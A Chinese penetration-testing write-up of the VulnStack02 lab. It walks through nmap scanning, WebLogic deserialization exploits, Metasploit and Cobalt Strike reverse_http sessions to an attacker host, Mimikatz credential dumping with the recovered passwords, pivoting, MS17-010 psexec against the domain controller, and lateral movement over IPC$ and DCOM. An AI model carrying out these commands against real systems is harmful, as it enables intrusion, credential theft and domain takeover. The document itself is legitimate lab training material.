【渗透测试】VulnStack02

VulnStack02

环境搭建

环境概览

1
2
3
4
5
WEB机器,公网:192.168.40.131;内网:10.10.10.80

PC机器,公网:192.168.40.132;内网:10.10.10.201

DC域控:内网:10.10.10.10

有一个地方需要注意,WEB这台机器de1ay用户的密码不是给出的默认密码,需要以administrator身份登录de1ay域并修改de1ay用户的密码。具体操作如下:

首先切换用户,使用Administrator@de1ay/1qaz@WSX登录WEB机器

vul

第一次登录提示修改密码,这里我修改成了hongrisec@2022

接着使用命令行修改de1ay用户的密码:

1
2
3
net users

net user de1ay 1qaz@WSX

20220506

然后重启机器,此时使用de1ay@de1ay/1qaz@WSX即可登录机器

20220506

还有一个地方就是WEB和PC两台机器的外网IP地址,默认是写死在192.168.111段,需要手动对网络地址进行更改,可以改成本地的网段,也可选择自动获取IP地址:

20220506

例如本地kali是192.168.40段,那么就可以将IP地址改成40段或者自动获得IP地址,然后等待重启网络,此时就可以访问到WEB机器的服务了。

正式打靶

0x01 信息收集

由于靶机的网络适配器均已配置完成,直接登录即可。

登录WEB机器启动Weblogic服务:

C:\Oracle\Middleware\user_projects\domains\base_domain\bin

20220506

前置条件知晓了WEB机器的外网IP,但是可能由于机器设置了禁ping,导致单纯的ping机器无法连通。不过nmap仍然可以扫描到。

使用nmap扫描机器开放的端口及服务:

nmap -T4 -sS -sV -Pn 192.168.40.131

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
Nmap scan report for 192.168.40.131
Host is up (0.00070s latency).
Not shown: 988 filtered ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 7.5
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds
1433/tcp open ms-sql-s Microsoft SQL Server 2008 R2 10.50.4000; SP2
3389/tcp open tcpwrapped
7001/tcp open http Oracle WebLogic Server (Servlet 2.5; JSP 2.1)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49160/tcp open msrpc Microsoft Windows RPC

可以看到重点端口为80,445,1433,3389,7001

访问80端口得到一片空白,转向7001Weblogic服务。

通过目录扫描可以扫描到Weblogic的登录后台:

20220506

访问后台得到服务版本10.3.6.0:

20220506

使用专项漏洞检测工具扫描,存在CVE_2020_2551:

20220506

尝试执行命令,成功:

20220506

执行tasklist /svc将结果扔进杀软对比查询Windows杀软在线对比辅助-心灵鸡汤君 (xljtj.com),发现机器存在360安全软件:

20220506

到这里暂时陷入僵局,工具支持上传webshell,但是上传成功后,无法获取shell的具体路径。

20220506

20220506

远程免杀吧,文件过了,但是试了好几种请求方式360一直杀,无法上线。

到这里查了好多师傅的文章,好多都是用熟知的方式直接就上线,后来看到一个师傅的文章:

20220506

然后试着把360关掉,就直接拿到了meterpreter。。。

原来都省略了免杀2333

咋办捏,免杀能力确实不够,只能暂时关掉360了。。。

这里尝试了CVE-2019-2725直接上传冰蝎马,但是同样不知道什么原因页面404,但是机器目录下已经存在了shell.jsp文件。

然后使用msf拿到权限:

1
2
3
4
5
6
7
8
9
10
11
search weblogic

use exploit/multi/misc/weblogic_deserialize_asyncresponseservice

set target 1

set rhosts 192.168.40.131

set lhosts 192.168.40.128

run

20220506

得到机器的SYSTEM权限

然后派生到CS:

1
2
3
4
5
6
7
8
9
10
11
12
13
use exploit/windows/local/payload_inject

set payload windows/meterpreter/reverse_http

set LHOST 192.168.40.130 //cs主机地址

set LPORT 80 //随意设置监听端口,需要和cs保持一致

set session 1 //设置需要派送的meterpreter

set DisablePayloadHandler true //禁止产生一个新的handler

run

20220506

CS接到上线会话,利用梼杌插件提权:

20220506

接着运行DumpHash,Mimikatz,得到明文密码信息:

1
2
3
4
5
Administrator  hongrisec@2022

mssql 1qaz@WSX

de1ay 1qaz@WSX

20220506

然后收集基础信息,IP、路由、域内存活主机,得到域内其他存活主机:10.10.10.10(DC域控)、10.10.10.201:

1
2
3
4
5
6
7
ipconfig /all

run get_local_subnets

run autoroute -s 10.10.10.0/24

run post/windows/gather/arp_scanner RHOSTS=10.10.10.0/24

20220506

20220506

接着对存活主机进行端口扫描,得到两台存活主机均开启445和3389端口:

1
2
3
4
5
6
7
use auxiliary/scanner/portscan/tcp

set ports 80,8080,445,3389,3306

set rhosts 10.10.10.10/201

run

20220506

使用ms17010进行探测,发现两台主机均存在漏洞:

1
2
3
4
5
use auxiliary/scanner/smb/smb_ms17_010

set rhosts 10.10.10.10/201

run

20220506

利用admin/smb/ms17_010_command模块进行验证,发现10主机可以回显,而201主机无法回显

20220506

因为这里和vulnstack01一样,msf6也无法正常弹回meterpreter,将之前的CS派生到msf低版本下:

1
2
3
4
5
6
7
8
9
use exploit/multi/handler

set payload windows/meterpreter/reverse_http(跟cs上选用的payload一样)

set lhost 192.168.40.130

set lport 6666

exploit

开启监听后,CS新建foreign http,设置监听地址和端口同msf

然后选中主机spawn到外部监听:

20220506

然后msf即可接收会话:

20220506

然后加入路由,使用exploit/windows/smb/ms17_010_psexec模块,获取到域控权限:

1
2
3
4
5
6
7
use exploit/windows/smb/ms17_010_psexec

set payload windows/meterpreter/bind_tcp

set rhost 10.10.10.10

run

20220506

到这里拿下了两台机器,但是PC这台机器显示存在ms17010,但是使用两个版本的msf都无法获取权限,提示[-] 10.10.10.201:445 - Unable to find accessible named pipe!

只能利用其他的方法。

查了师傅们的笔记,前面获取到密码,可以在WEB机器上使用ipc连接,上传木马拿权限。

1
2
3
4
5
6
7
chcp 65001       //解决meterpreter中文乱码

net use \\10.10.10.201\ipc$ "hongrisec@2022" /user:administrator

upload /root/artifact.exe c://

copy c:\\artifact.exe \\10.10.10.201\c$ /y

20220506

20220506

然后由WEB上的powershell通过DCOM控制PC执行木马程序:

1
2
3
4
5
6
7
8
load powershell 

powershell_shell

$com = [activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","10.10.10.201"))
$com.Document.ActiveView.ExecuteShellCommand('cmd.exe',$null,"/c C:\artifact.exe","Minimized")

[activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.application" ,"10.10.10.201")).Document.ActiveView.Executeshellcommand('cmd.exe',$null,"/c artifact.exe","Restored")

但是不知道为什么还是出现错误:

20220506

只能意淫payload免杀钓鱼上线,,,,

最终结果上线三台主机:

20220506

免杀这一块了解的不够深。